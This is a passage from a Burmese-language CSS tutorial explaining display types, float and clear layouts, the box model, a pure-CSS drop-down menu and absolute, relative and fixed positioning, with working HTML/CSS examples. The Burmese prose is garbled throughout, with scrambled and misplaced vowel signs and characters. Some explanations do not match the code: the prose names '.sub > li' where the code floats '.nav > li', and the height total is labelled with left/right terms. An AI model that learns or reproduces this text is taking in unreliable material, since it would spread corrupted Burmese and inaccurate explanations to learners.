ိနာက်ြတစ်လိုငး်ကိြဆုငး်ပပီးိဖောပ်ပိလရ့ေှိတဲ့   Element  များပဲ  ပဖေစ်ပါတယ်။  <b>  <i>  <em>  <strong>
အပါအဝင် Formatting Element ိတနွဲ့ <a> Element တို့ဟာ Inline Element များပပဲဖေစ်ပါတယ်။

Element  ိတရွေဲ့  Display Type  ကုိြ  display Property  နဲ့ ိပပာငး်လသဲတမ်တှလ်ို့ရေပါတယ်။ ဥပမာ  - Inline
Element ပဖေစ်တဲ့ <a> Element ကုိြ Block ိပပာငး်လိုရေင ်အခလုိုသတမ်တှန်ိုငပ်ါတယ်။

a {  
  display: block;
}

အလားတပူဲ  Block Element ိတကုိွြ Inline အပဖေစ်ိပပာငး်လသဲတမ်တှလ်ိုရေငလ်ညး် display: inline; လ့ုိ
ိအကြပငာသတ်  မတှန်ိုငပ်ါတယ်။  ဒါိပမယ့်  Block  ကုိြ  Inline  ိပပာငး်ဖေို့  လိုခပဲါတယ်။  အများအားပဖေင့်  Inline
Element ိတကုိွြသာ Block ိပပာငး်အကြိလရ့ေှိပါတယ်။ ိပပာငး်တဲ့ ရေညရ်ေယ်ွချက်ြကြ width, height Property
ိတနွဲ့ အပမင့်နဲ့အကြျယ်တို့ကုိြ သတမ်တှလ်ိုတဲ့အတက်ွြ ိပပာငး်အကြတဲ့သိဘာပဖေစ်ပါတယ်။  Inline Element  ိတကွြ
သဘာဝ အရေအပမင့်နဲအ့ကြျယကုိ်ြ သတမ်တှ် ိပးလို့မရေတဲ့အတက်ွြ သူတို့ကုိြ  Block ိပပာငး်ပပးီမှ သတမ်တှရ်ေတာပဖေစ်
ပါတယ်။ ဥပမာ <a> Element တစ်ခအုတက်ွြ အခလုို သတမ်တှ်ိ ရေးသားနိုငပ်ါတယ်။
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a {
  display: block;
  width: 200px;
  height: 40px;
  text-align: center;
  line-height: 40px;
  text-decoration: none;
  background-color: #519B7E;
  color: #FFF;
  border-radius: 20px;
}

ဒလီိုိ ရေးသားသတမ်တှလ်ိုက်ြရေင် ရေရေှိမယ့်ရေလဒက်ြိတာ ့အခလုိုပုံစံရေရေှိမာှပဖေစ်ပါတယ်။ 

ရုိးရုိး  Link  တစ်ခကုိုြ  Button  တစ်ခနုဲ့တူိ အာင်  ိပပာငး်လပဲပစ်လိုက်ြတာပါ။  ဒီိ နရောမာှ  display: block;
သတမ်တှခ်ဲ့လို့သာ  ဆက်ြလက်ြသတမ်တှထ်ားတဲ့  width နဲ့  height အလပုလ်ပုသွ်ားတာပဖေစ်ပါတယ်။  နမနူာမာှ
ကြျွန်ိ တာတ်ို့  မိလလ့ာရေိသးတဲ့  Property  ကြ border-radius တစ်ခသုာ  ပါဝငပ်ါတယ်။  ကြျန်  Property
အားလုံးကုိြ ိလလ့ာခဲ့ပပးီသားိတကုိွြသာ ိပါငး်စပ်အသံုးပပုလိုက်ြတာပါ။ ထူးပခားချက်ြအိနနဲ့  line-height ကုိြ
height နဲ့  အတတူူိ ပးထားကုိြ သတထိားပါ။  height နဲ့  line-height ညီိ နတဲ့အတက်ွြ စာလုံးကြလညး်
အိပါ်ိအာက်ြ အကွြာအိဝးညပီပးီ အလယ်ိရောက်ြိနတာပါ။ CSS မာှ Element နဲ့ စာိတကုိွြ  Horizontal Align
အတက်ွြလပုလ်ိုရေင်  text-align Property  သံုးပပီး  သတမ်တှလ်ို့  ရေပါတယ်။  ဒါိပမယ့်  Vertical  Align  ကြ
နညး်နညး်ိခါင်းစားပါတယ်။  Vertical Align  ကုိြ  Center  လပုလ်ိုတဲ့ အခါ အသံုးပပုိလရ့ေှိတဲ့ နညး်လမး်တစ်ခကုိုြ
တစ်ပါ တညး်ထည့်သွင်းိဖောပ်ပလိုက်ြပခငး်ပဖေစ်ပါတယ်။ 

3.12 - Layouts
Web Document ိတအွတက်ွြ Layout ိတ ွဖေနတ်းီတဲ့အခါ Block Element ိတကုိွြပဲ အသံုးပပုရေပါတယ်။ အသံုး
ပပုအကြိလရ့ေှိတဲ့ Element ကြိတာ့ <div> Element ပပဲဖေစ်ပါတယ။် <div> Element ဟာ Block Element တစ်
မျို းပဖေစ်ပပးီ Generic Element လိုိ့ ခါ်အကြပါတယ်။ သူ့ကုိြ ဘယ်ိနရောမာှသံုးရေမယ်လို့ အတအိကြျသတမ်တှထ်ားပခငး်
မရေှိပဲ  Block  တစ်ခလုိုအပတ်ဲ့ိ နရောတိုငး်မာှ  သံုးနိုငတ်ဲ့  Element  ပဖေစ်ပါတယ်။  Block  တစ်ခလုိုအပပ်ပးီ  အပခား
သင့်ိ တာတ်ဲ့ Element မရေှိတဲ့ အချနိမ်ာှ <div> ကုိြ အသံုးပပုရေပါတယ်။   

မတ်ှချကြ်  ။  ။ <div> လုိပဲ  အသုံးများတ့ဲ  ိနာကြ်  Generic  Element  တစခ်ကုြ  <span> ပဖေစပ်ါတယ။် သကူြိတာ့  Inline
Element ပါ။ Inline Element တစခ်လုိုအပပ်ပးီ တစပ်ခားသင့်ိ တာတ့ဲ် Element မရေှိရေင် <span> Element ကြို အသုံးပပုနိုငပ်ါ
တယ။်
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Layout ိတဖွေနတ်းီဖေို့အတက်ွြ float Property ကုိြ အသံုးပပုအကြရေပါတယ်။ float Property ဟာ Block ိတကုိွြ
ဘယ်ဘက်ြ (သုိမ့ဟတု်) ညာဘက်ြကြပ်ိ ဖောပ်ပဖေို့ သတမ်တှရ်ေတဲ့  Property ပဖေစ်ပါတယ်။ ပုံမနှဆ်ိုရေင် Block Element
ိတဟွာ ိနရောအပပည့်ယူပပီး  သူတိုိ့ ဘးမာှတစ်ပခား  Element  ကုိြလက်ြမခပံါဘးူ။ ဒါိပမယ့်  float လပုလ်ိုက်ြတဲ့
အခါမာှိတာ့  တစ်ဘက်ြကြပပ်ပးီ  လမး်ဖေယ်ိပးလိုက်ြတဲ့သိဘာ  ပဖေစ်သွားပါတယ်။  လမး်ဖေယ်ိပးလိုက်ြတဲ့အတက်ွြ
အပခား Element ိတကွြ ိဘးမာှိနရောဝငယူ်မယ်ဆုိဝင်ယူလို့ ရေသွားတဲ့သိဘာ ပဖေစ်ပါတယ်။ ပုံ (၃-ဏ) မာှ နှိုငး်ယှဉ်
ိလလ့ာအကြည့်ပါ။

ပုံ (၃-ဏ) CSS Layout
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ပုံ  (၃-ဏ) မာှ  (A)  နဲ့  (B)  ဆုိပပီး  နမနူာနစ်ှခု  ပါဝငပ်ါတယ်။  (A)  မာှ  Block  Element  (၄)  ခကုိုြ  width,
height, background-color ကုိြယ်စီသတမ်တှ်ိ ပးထားပါတယ်။  Block  ိတပွဖေစ်လို့  Width  ဘယ်လိုပဲ
သတမ်တှ်ိ ပးထားထား တစ်ခုိ ပါ်တစ်ခဆုင့်ပပးီိတာသ့ာ ိဖောပ်ပိပးိနတာကုိြိတွ့ရေမာှပါ။ 

(B) မာှိတာ့ float Property ိတပွဖေည့်စွက်ြအသံုးပပုပပထားပါတယ်။ width: 600px သတမ်တှထ်ားတဲ့ Main
Content  ကုိြ  float:  left ိပပာလိုက်ြိတာ့  သူကြိဘးကြပပ်ပီးလမး်ဖေယ်ိပးပါတယ။်  ဒါိပမယ့်  width:
200px ိပးထား  Element  ကြလညး်  Block  ပဖေစ်ိနိတာ့ သူကြ သူများိဘးကုိြ မဝငခ်ျငပ်ါဘးူ။ ဒါိအကြာင့် သူကုိ့ြ
လညး် float: left ထည့်ိ ပးလိုက်ြ ရေပါတယ်။ အ့ဲဒီိ တာမ့ ှလတွ်ိ နတဲ့ိ နရောမာှ ဝငက်ြပပ်ပးီ ိနရောယူသွားမာှပဖေစ်
ပါတယ်။

ထးူပခားချက်ြကြိတာ့ ိအာက်ြဆံုး Element မာှ clear: both ဆုိတဲ့ ိအကြပငာချက်ြ ထည့်သွငး်ထားပခငး်ပဲ ပဖေစ်ပါ
တယ်။ ဆုိလိုတာကြ float လပုပ်ပးီ လမး်ဖေယ်ထားတဲ့  Element  ိတနွဲ့ မပတသ်က်ြနဲဆုိ့တဲ့သိဘာပဖေစ်ပါတယ်။ ဒီ
ိတာမ့ ှသူ့အထက်ြကြ float လုပထ်ားတဲ့ Element ိတနွဲ့လတွက်ြငး်တဲ့ ိနရောမာှိဖောပ်ပိပးမာှ ပဖေစ်ပါတယ်။

float နဲ့ clear ဆက်ြစပမ်ှုလိုရေငး်ကုိြိပပာရေရေင ်"Block ိတကုိွြ ိဘးချငး်ကြပလ်ိုရေင် float လပုပ်ါ။ မကြပလ်ိုိ တာ့
တဲ့ Element မာှ clear ပပနလ်ပု်ိ ပးပါ" ဆုိတဲ့ သိဘာပပဲဖေစ်ပါတယ်။ ဒနီညး်နဲ့ လိုချငတ်ဲ့ Layout Design အတက်ွြ
Block  ိတကုိွြ ိနရောသတမ်တှခ်ျထားိပးနိုငမ်ာှပပဲဖေစ်ပါတယ်။  ပုံ  (၃-ဏ) မာှ  (B)  ိဖောပ်ပထားတဲ့  Layout  နမနူာ
အပပည့်အစံုကုိြ  ကုိြယ်တိုငစ်မး်သပ်အကြည့်နိုငဖ်ေို့  အပပည့်အစံု  ိရေးသား  ိဖောပ်ပလိုက်ြပါတယ်။  layout.html ဆုိတဲ့
File Name နဲ့ ကူြးယူစမး်သပအ်ကြည့်ပါ။ 

<!doctype html> 
<html> 
<head> 
  <title>CSS Layout</title> 
  <style> 
    .wrap { 
      width: 800px; 
      margin: 20px auto; 
    } 
    .header { 
      height: 100px; 
      background: #cb1212; 
    } 
    .content { 
      width: 600px; 
      height: 400px; 
      background: #519b7e; 
      float: left; 
    } 
    .sidebar { 
      width: 200px; 
      height: 400px; 
      background: #1635a6; 
      float: left; 
    } 
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    .footer { 
      height: 60px; 
      background: #333; 
      clear: both; 
    } 
  </style> 
</head>
<body> 

  <div class="wrap"> 
    <div class="header"></div> 
    <div class="content"></div> 
    <div class="sidebar"></div> 
    <div class="footer"></div> 
  </div> 

</body> 
</html> 

လက်ြိတွ့စမး်သပအ်ကြည့်တဲ့အခါ  File  တစ်ခတုညး်နဲ့  အားလုံးစမး်နိုင်ိအာငလ်ို့  CSS  ကုိြ  Internal  <style>
Element အသံုးပပုပပးီ ိရေးသားထားပါတယ။် ကူြးယူပပးီ တစ်ချို ့ Property ိတကုိွြ ပပငဆ်ငစ်မး်သပ် အကြည့်ိ စချငပ်ါ
တယ်။ 

မတ်ှချကြ် ။ ။ .wrap အတွကြ် ထည့်သငွး်ိရေးသားထားတ့ဲ margin: 20 auto; ရေဲ့  အဓပိ္ပါယက်ြိုမအကြာခင် ဆကြလ်ကြရ်ေငှး်ပပ
ိပးပါမယ။်  .wrap ကြို  width: 800px ိပးထားတ့ဲအတကွြ်  .header နဲ့  .footer မာှ  ပုံ  (၃-ဏ) မာှ  width ထပမ်ံ
သတ်မတ်ှမိပးိတာတ့ာကြို  လညး်သတိပပုပါ။  Block  Element  ိတွဟာ  width သတ်မတ်ှမထားရေင်  Parent  Width  ရေှိ
သိလာကြ ်အလုိလုိိနရောယမူာှပဖေစပ်ါတယ။်

ပုံ (၃-တ) CSS Layout - Float များ Clear လုပန်ညး်တစ်မျို း
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ပုံ (၃-တ) မာှ float ိတကုိွြ clear လုပန်ညး် ိနာက်ြတစ်မျို းကုိြ ိဖောပ်ပိပးထားပါတယ်။ Parent Element မာှ
overflow:  hidden; ဆုိတဲ့  Property  နဲ့  Value  ထည့်သွငး်ိပးလိုက်ြပခငး်ကြ  သူအ့တငွး်ထကဲြ  Child
Element ိတမွာှ သတမ်တှထ်ားတဲ့ float ိတကုိွြ အလိုလို clear လုပ်ိ ပးသွားိစပါတယ။် ဒါိအကြာင့် ိအာက်ြ
ဆံုးကြ Element မာှ clear: both လ့ုိ ထပ်ိ အကြပငာစရော မလိုအပ်ိ တာပ့ါဘူး။ ဒနီညး်ကြလညး်  Layout ဖေနတ်းီ
တဲ့ိ နရောမာှ အိတာအ်သံုးဝငတ်ဲ့ နညး်လမး်တစ်ခပုပဲဖေစ်ပါတယ်။

3.13 - Box Model
Block Element ိတကုိွြ width နဲ့ height အပပင် border, margin နဲ့ padding လညး်သတမ်တှလ်ို့ ရေပါ
တယ်။  margin ဆုိတာ  Element Border  အပပငမ်ာှ  ိနရောလတွကုိ်ြ သတမ်တှတ်ာပဖေစ်ပပးီ  padding ကြိတာ့
Element နဲ့ Element Content တို့အကြားကြ ိနရောလတွကုိ်ြသတမ်တှတ်ာပ ဲပဖေစ်ပါတယ်။ ပုံ (၃-ထ) မာှအကြည့်ပါ။ 

ပုံ (၃-ထ) CSS Box Model

Block တစ်ခအုတက်ွြ Box Property ိတ ွအပပည့်အစံုသတမ်တှထ်ားတဲ့ ဥပမာိဖောပ်ပပါမယ။် 

#content {
  width: 600px;
  height: 380px;
  border: 4px solid #519b7e;
  margin: 20px;
  padding: 10px;
  background: #ffd;
}
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width နဲ့ height Property ိတအွတက်ွြ အထးူအိထထွပ်ိ ပပာဖေို့မလိုိ တာပ့ါဘူး။ border Property မာှိတာ့
အနညး်ငယ်  ထူးပခားပါတယ်။  Element  တစ်ခအုတက်ွြ  Border  သတမ်တှတ်ဲ့အခါ  (၃)မျို း  သတမ်တှရ်ေိလရ့ေှိပါ
တယ်။  border-size,  border-style နဲ့  border-color တို့ပပဲဖေစ်ပါတယ်။  ဒသံုီးမျို း  မပပည့်စံုရေင်
Border လညး် မပပည့်စံုပါဘးူ။ ဒါိအကြာင့်  Border Property ိတကုိွြ သံုိအကြာငး်ခွဲပပးီမိရေးအကြ ပါဘးူ။ border ဆုိ
ပပးီ အတိုိ ကြာက်ြ တစ်ိအကြာငး်တညး် ပဲိ ရေးအကြိလရ့ေှိပါတယ်။ Value ိနရောမာှသာ Size, Style, Color သံုးမျို းလုံး
အစဉလ်ိုက်ြ တနး်စီ  သတမ်တှ်ိ ပးပါတယ်။  Size  ိနရောမာှ  နစ်ှသက်ြတဲ့  Unit  ကုိြသံုးပပးီ  သတမ်တှလ်ိုတဲ့ပမာဏကုိြ
ိပးနိုငပ်ါတယ်။ Style ိနရောမာှိတာ့ (၃) မျို း သံုးနိုငပ်ါတယ်။ solid ( ___ ), dotted (  ) …… နဲ့ dashed
( ------- ) တို့ပဲ ပဖေစ်ပါတယ်။ ကြျနတ်ဲ့ Style ိတ ွရေှိိ သးိပမယ့် အိတာ်ိ လးအသံုးနည်းပါတယ်။ Color ိနရောမာှ
လညး် နစ်ှသက်ြရော အိရောငသ်တမ်တှ်ိ ပးနိုငပ်ါတယ်။

Border  အပပငဘ်က်ြကြိနရောလတွပ်ဖေစ်တဲ့  Margin  သတမ်တှဖ်ေိုအ့တက်ွြ  margin Property  ကုိြပသံုဲးရေပါတယ။်
Block တစ်ခမုာှ Top, Right, Bottom, Left ဆုိပပးီ မျက်ြနာှစာိလးဘက်ြရေှိလို့  margin: 20px; ဆုိတာ ိလး
ဘက်ြစလုံး အတက်ွြ  20px အကြျယ် ရေှိတဲ့ိ နရောလတွယူ်ပါလို့သတမ်တှလ်ိုက်ြတာပါပ။ဲ  တစ်ဘက်ြစီ သတမ်တှလ်ိုရေင်
margin-top, margin-right, margin-bottom, margin-left ဆုိပပီး သီးပခားသတမ်တှ်ိ ပးနိုင်
ပါတယ်။ margin ကုိြပဲ အတိုိ ကြာက်ြသိဘာမျို းသံုးပပီး ိလးဘက်ြလုံးအတက်ွြ Value ိတ ွတနး်စီိပးနိုငပ်ါတယ်။

ဥပမာ -  margin: 10px 20px 0 5px; ရေဲ့  အဓပိ္ပါယက်ြ  margin-top: 10px; margin-right:
20px; margin-bottom: 0; margin-left: 5px; နဲ့  အတတူပူဲ  ပဖေစ်ပါတယ်။  Value  ကုိြ  Top,
Right, Bottom, Left  အစီ အစဉ်အတိုငး် သတမ်တှ်  ိပးရေတာပဖေစ်ပါတယ်။  margin: 10px 20px; ဆုိပပးီ
Value မာှ နစ်ှခုိ ပးပပးီိတာလ့ညး် သတမ်တှန်ိုငပ်ါတယ။် အဓပိ္ပါယ်ကြ Top/Bottom အတက်ွြ 10px စီ ိနရောလတွ်
ယူပပီး Left/ Right အတက်ွြ 20px စီိနရောလတွ ်ယူလိုက်ြပါလို့ သတမ်တှတ်ာပဖေစ်ပါတယ်။ 

ထးူပခားချက်ြတစ်ခရုေှိပါတယ်။ margin-left နဲ့ margin-right အတက်ွြ Value ကုိြ တနဖ်ေိုးိတ ွမသတမ်တှပ်ဲ
auto လို့ သတမ်တှန်ိုငပ်ါတယ်။ ဒါဆုိရေင် ဘယ်ဘက်ြကြိနရောလတွန်ဲ့ ညာဘက်ြကြိနရောလတွ် ညီိအာငအ်လိုလို ညှိ
ပပးီယူ ိပးသွားမာှပဖေစ်လို့ Element ကြ အလယ်တည့်တည့်ကုိြ ိရောက်ြရေှိသွားမာှပဖေစ်ပါတယ်။ Layout အတက်ွြ နမနူာ
ိပးခဲ့တနုး်ကြ အသံုးပပု ခဲ့တဲ့ margin: 20px auto; ဆုိတာ margin Top/Bottom ကုိြ 20px လို့ သတမ်တှ်
ပပးီ  Left/Right ကုိြ  auto လို့ သတမ်တှလ်ိုက်ြတာပပဲဖေစ်ပါတယ်။ ဒါိအကြာင့် အဲဒ့နီမနူာ Layout ကုိြ စမး်သပ်အကြည့်
ရေငအ်လယ်မာှိဖောပ်ပိနတာကုိြိတွ့ရေမာှ ပဖေစ်ပါတယ်။

မတ်ှချကြ ်။ ။ တနဖ်ေိုးိတွသတ်မတ်ှတ့ဲအခါ 0 ဆုိရေင ်ိနာကြက်ြယနူစ်ိ တွကြ မထည့်ရေငလ်ညး် ရေပါတယ။်

Border  နဲ့  Element  Content  အကြားကြိနရောလတွပ်ဖေစ်တဲ့  padding ိအကြပငာသတမ်တှပ်ုံဟာ  Margin  နဲ့
သိဘာတရေား  အတတူပူပဲဖေစ်ပါတယ်။  margin Property  အစား  padding Property  သံုးလိုက်ြတာပဲ  ကွြာပါ
တယ်။ သူလညး်ပဲ  padding-top, padding-right, padding-bottom, padding-left ဆုိပပးီ
တစ်ဘက်ြစီခွဲပပးီ သတမ်တှန်ိုငသ်လို margin လ့ုိပဲ Value ိလးမျို းလုံးတနး်စီိပးပပီး အတိုိ ကြာက်ြလညး်သတမ်တှ်
နိုငပ်ါတယ။်
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မတ်ှချကြ် ။ ။ margin အတွကြတ်နဖ်ေိုးိတွကြို  Minus Value ိတွ လုိအပရ်ေင် သတ်မတ်ှိပးလုိရ့ေပါတယ။်  ဥပမာ  margin-
top: -5px; ဒါိပမယ့် padding မာှိတာ ့Minus Value ိတွ သတ်မတ်ှိပးလုိ ့မရေပါဘးူ။

CSS Box Model မာှ မတှသ်ားစရောထးူပခားချက်ြတစ်ခရုေှိပါတယ်။ အိပါ်မာှိပးခဲ့တဲ့ နမနူာကုိြ ိနာက်ြတစ်ခါ ထပ်
ိဖောပ်ပိပးလိုက်ြပါတယ်။

#content {
  width: 600px;
  height: 380px;
  border: 4px solid #519b7e;
  margin: 20px;
  padding: 10px;
}

နမနူာမာှ  Element  အတက်ွြ  width:  600px; လ့ုိ  ိအကြပငာသတမ်တှ်ိ ပးထားပါတယ်။  ဒါိအကြာင့်  လက်ြရေှိ
Document  ိပါ်မာှ  600px အကြျယ်ရေှိတဲ့  ိနရောယူလိုက်ြပါလမိ့်မယ်။  ဆက်ြလက်ြပပးီ  border: 4px solid
#519b7e; လ့ုိ  သတမ်တှထ်ားပါိသးတယ။်  Browser  ကြ  Border  အတက်ွြိနရောကုိြ  width: 600px ထကဲြ
နှုတမ်ယူပါဘူး။ Document ိပါ်မာှ ထပတ်ိုးယူပါတယ်။ အလားတပူဲ margin: 20px; နဲ့ padding: 10px;
အတက်ွြလညး် Document ိပါ်မာှပ ဲတိုးချဲ့ ိနရော ယူပါတယ်။

ဒါိအကြာင့် နမနူာမာှိပးထားတဲ့ Element ဟာ width: 600px; လ့ုိ ိပပာထားိပမယ့် အမနှတ်စ်ကြယ်ိနရော ယူ
မာှကြိတာ့  668px ပဖေစ်ပါတယ်  -  600 (width) + 8 (border left/right) + 40 (margin left/right) + 20
(padding  left/right)။  အလားတပူဲ  height:  380px လိုိ့ ပပာထား  ိပမယ့်အမနှတ်စ်ကြယ်ိနရောယူမာှကြ
448px ပဖေစ်ပါတယ်  - 380 (height) + 8 (border left/right) + 40 (margin left/right) + 20 (padding
left/right)။ 

ဒအီချက်ြဟာ Layout ိတဖွေနတ်းီတဲ့အခါ ထည့်သွငး်စဉး်စားရေမယ့်အချက်ြပဖေစ်ပါတယ်။ Element တစ်ခရုေဲ့  ိနရောယူ
မှုဟာ width နဲ့  height ဟာ ိအကြပငာထားတဲ့အတိုငး် အတအိကြျရေှိိ နမာှမဟတု် ပါဘးူ။ border, margin,
padding တို့အတက်ွြ  တုိးချဲ့ ယူရေတဲ့အတက်ွြ  အားလုံးကိြုိ ပါငး်စပတ်က်ွြချက်ြမသှာ  တစ်ကြယ်ိန ရောယူထားတဲ့
ပမာဏကုိြသိရေမာှပဖေစ်ပါတယ်။
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ပုံ (၃-ဒ) Content Width vs. Actual Width

အခုိ ဖောပ်ပခဲ့ပပးီပဖေစ်တဲ့  Layout  နဲ့  Box Property  ိတကုိွြအသံုးပပုပပီး  ိနာက်ြထပစ်မး်သပအ်ကြည့်စရော နမနူာတစ်ခု
ိရေးိပး ချငပ်ါတယ်။ Website ိတမွာှိတွ့ိနအကြ  Drop Down Menu ိလးတစ်ခုိ လာက်ြလပုအ်ကြည့်ချငပ်ါတယ။်

<!doctype html> 
<html> 
<head> 
  <title>CSS Drop-Down Navigation</title> 
  <style> 
    .nav, .sub { 
      font-family: Arial, Helvetica, sans-serif; 
      list-style: none; 
      margin: 0; 
      padding: 0; 
    } 

    .nav li { 
      background: #cb1212; 
      height: 40px; 
      line-height: 40px; 
      text-align: center; 
      width: 160px; 
    }
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    .nav li a { 
      display: block; 
      text-decoration: none; 
      color: #fff; 
    } 

    .nav li a:hover { 
      background: #f00; 
    } 

    .nav > li { 
      border-right: 1px solid #f00; 
      float: left; 
    } 

    .sub { 
      display: none; 
    } 

    .nav > li:hover .sub { 
      display: block; 
    } 

    .sub li { 
      border-top: 1px solid #f00; 
    } 
  </style> 
</head> 
<body> 
  <ul class="nav"> 
    <li><a href="#">Home</a></li> 
    <li><a href="#">About</a></li> 
    <li><a href="#">Contact</a></li> 
    <li> 
      <a href="#">Services &raquo;</a> 
      <ul class="sub"> 
        <li><a href="#">Social Media</a></li> 
        <li><a href="#">Web Development</a></li> 
        <li><a href="#">SEO</a></li> 
      </ul> 
    </li> 
    <li><a href="#">Products</a></li> 
  </ul> 
</body>
</html>

နစ်ှသက်ြရော File Name နဲ့ ကူြးယူစမး်သပပ်ပးီိလလ့ာအကြည့်ပါ။ ထးူပခားချက်ြတစ်ချို ့ကုိြ ရေငှး်ပပချငပ်ါတယ်။  HTML
Structure ကုိြ ိလလ့ာအကြည့်ပါ။ <ul> Element ကုိြ Menu List အတက်ွြအသံုးပပုထားပါတယ်။ <li> Element
တစ်ခအုတငွး်မာှ ိနာက်ြထပ်  <ul> Element  တစ်ခကုိုြ  Sub-Menu  အိနနဲ့ထည့်ထားပါိသးတယ်။  Services
ိနာက်ြကြ &raquo; ဆုိတာ HTML နဲ့ Right Arrow Symbol (  ) » ိလးတစ်ခ ုထည့်လိုက်ြတာပါ။ 

CSS မာှ .nav, .sub လို့ Select လုပပ်ပးီ <ul> နစ်ှခလုုံးအတက်ွြ list-style: none နဲ့ margin: 0;
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padding:  0; သတမ်တှထ်ားပါတယ်။  Bullet  ပဖေုတပ်ပစ်ပပးီိနရောလတွအ်ပိယူုထားတာိတအွကုြန်  ပဖေုတပ်ပစ်
လိုက်ြတာ ပါ။  <li> ဟာ  Block Element  ပဖေစ်ပါတယ်။ ဒါိအကြာင့် ိဘးချငး်ကြပ်ိ ဖောပ်ပိစချငတ်ဲ့  <li> ိတကုိွြ
.sub > li လ့ုိ Select လပုပ်ပးီ float: left; လ့ုိသတမ်တှထ်ားပါတယ်။  ဒီိ နရောမာှ  Child Selector သံုး
ရေတာကြ  Direct  Child  ပဖေစ်တဲ့  <li> ိတကုိွြ  သာ  float လုပခ်ျငပ်ပးီ  ိနာက်ြတစ်ဆင့်ရေှိိ နတဲ့  <ul
class="sub"> ထကဲြ <li> ိတကုိွြ မလပုခ်ျငလ်ိုပ့ဖေစ်ပါတယ်။ 

ိနာက်ြတစ်ခကုြိတာ့  .sub ကုိြ  display: none; လ့ုိ  ိအာက်ြနားမာှ  သတမ်တှလ်ိုက်ြပါတယ။်  display
Property  ိတ ွ Inline/Block  ိပပာငး်ယံုမကြ  လံုးဝိပဖောက်ြပပစ်ဖေို့  none ကုိြ  Value  အိနနဲ့  ိပးနိုငပ်ါတယ။်
display: none လို့ သတမ်တှထ်ားတဲ့အတက်ွြ Sub Menu ဟာ ိပျာက်ြိနမာှပဖေစ်ပါတယ်။ ိနာက်ြတစ်ဆင့် ကြျ
ိတာမ့ှ .nav > li:hover .sub  မာှ display: block; လ့ုိ ပပန်ိ ပးထားပါတယ်။ အဓပိ္ပါယ်ကြ li ကုိြ
Mouse နဲ့ ိထာက်ြလိုက်ြိတာမ့သှာ သူအ့တငွး်ထကဲြ  Sub Menu ကုိြ ပပန်ိ ဖောပ်ပခိုငး်လိုက်ြတာပပဲဖေစ်ပါတယ်။ ဒနီညး်
နဲ့ JavaScript ိတွိ တာငမ်လိုိ တာပ့ဲ Dorp-Down Menu တစ်ခကုိုြရေရေှိသွားိစမာှပပဲဖေစ်ပါတယ်။ ရေလဒက်ြဒလီိုပုံစံ
ပဖေစ်မာှ ပဖေစ်ပါတယ်။

ပုံ (၃-ဓ) CSS Drop-Down Menu

3.14 - Position Properties
Element  ိတွိ ဖောပ်ပတဲ့အခါမာှ  အိပခခအံားပဖေင့်  အိပါ်ကြိနိအာက်ြ  Document  ထဲမာှ  ထည့်သွငး်ထားတဲ့
အစီအစဉ် အတိုငး် ိဖောပ်ပိလရ့ေှိပါတယ။် ဒါကုိြ Regular Flow လို့ ိခါ်ပါတယ်။ Element ိတကုိွြ Regular Flow
အတိုငး်မဟတုပ်ဲ  ိဖောပ်ပိစလိုတဲ့ ိနရောအတိအကြျ သတမ်တှ်ိ ပးချငရ်ေငလ်ညး်  CSS  နဲ့  သတမ်တှ်ိ ပးလို့ရေပါတယ်။
position Property  မာှ  absolute လ့ုိ  သတမ်တှပ်ပးီ  ိဖောပ်ပိစချငတ်ဲ့  ိနရောကုိြ  top/bottom,
right/left Property ိတနွဲ့ သတမ်တှ်ိ ပးရေပါတယ်။

#box {
  position: absolute;
  top: 100px;
  left: 150px;
}

ဒလီိုသတမ်တှလ်ိုက်ြမယ်ဆုိရေင် တစ်ပခား  Element  ိတ ွဘယ်ိနရောမာှဘယ်လိုပရဲေှိိ နပါိစ၊  #box ကုိြ  Document
Border ကြိန top: 100px; left: 150px; အကွြာအိဝးမာှပအဲတအိကြျိဖောပ်ပိပးမာှပဖေစ်ပါတယ်။
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HTML Element ိတရွေဲ့  Default Position Value ကြ static ပဖေစ်ပါတယ်။  position Property နဲ့အတူ
တွဲဖေက်ြသံုးနိုငတ်ဲ့  ိနာက်ြထပ်  Value  တစ်ခကုြိတာ့  relative ပဖေစ်ပါတယ်။  ပုံမနှအ်ားပဖေင့်  position:
absolute; သတမ်တှထ်ားတဲ့  Element ိတ ွိဖောပ်ပရေမယ့် ိနရောကုိြ  Document Border ကြိနသာ တွက်ြချက်ြ
ိဖောပ်ပပါတယ်။  လိုအပလ်ို့  Document  Border  ကြိနတက်ွြချက်ြမိဖောပ်ပပဲ  Parent  Element  ကြိန တက်ွြချက်ြ
ိဖောပ်ပိစ လိုရေင ်Parent Element မာှ position: relative; လို့ သတမ်တှ်ိ ပးနိုငပ်ါတယ်။

[HTML]
<div id="out">
  <div id="in"> … </div>
</div>

[CSS]
#out {
  position: relative;
}

#in {
  position: absolute;
  top: 100px;
  left: 100px;
}

ိဖောပ်ပထားတဲ့ နမနူာမာှ #in  Element အတက်ွြ top: 100px; left: 100px; အကွြာအိဝးကုိြ #out ရေဲ့
Border ကြိန တက်ွြချက်ြပပးီိဖောပ်ပိပးမာှပဖေစ်ပါတယ်။

ပုံ (၃-န) Static vs. Relative Position
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ိနာက်ြထပအ်သုံးပပုနိုငတ်ဲ့  Position  Value  တစ်ခကုြိတာ့  fixed ပဖေစ်ပါတယ်။  fixed နဲ့  absolute ကြ
အိပခခံ  အားပဖေင့်  အတတူပူါပ။ဲ  ကွြာပခားချက်ြကြိတာ့  absolute Position  ကြ  Element  ကုိြ  Document  နဲ့
Attach  လုပ်  ထားပပးီ  fixed Position  ကြ  Screen  View Point  နဲ့  Attach  လုပထ်ားပခငး်  ပပဲဖေစ်ပါတယ်။
background-attachment နဲ့ သိဘာတရေားတပူါတယ်။ 

ဒီ position Property ကုိြ Layout ိတဖွေနတ်းီတဲ့ိ နရောမာှိတာသံု့းအကြိလမ့ရေှိပါဘးူ။ ိနရောအိသ သတမ်တှတ်ာ
ပဖေစ်လို့ Layout အတက်ွြဆုိရေင် သိပ် Flexible မပဖေစ်တဲ့အတက်ွြိအကြာင့်ပဖေစ်ပါတယ်။ ဟိုနားဒနီား လုိအပသ်ိလာက်ြပဲ
ထည့်သွငး်  အသံုးပပုအကြပါတယ်။  position တစ်ကြယ်အသံုးဝငတ်ာကြိတာ့  JavaScript  နဲ့  တဲွဖေက်ြပပးီ  User
Interface Element  ိတ ွတည်ိ ဆာက်ြတဲ့ိ နရောမာှပဖေစ်ပါတယ်  (ဥပမာ  -  Popup Calendar,  Modal  Dialog,
Tabbed  Panel,  etc...)။  ိနာက်ြအခန်းမာှ  JavaScript  ိလ့လာတဲ့အခါ  လက်ြိတွ့အသံုးပပုအကြရေမာှပဖေစ်ပါတယ။်
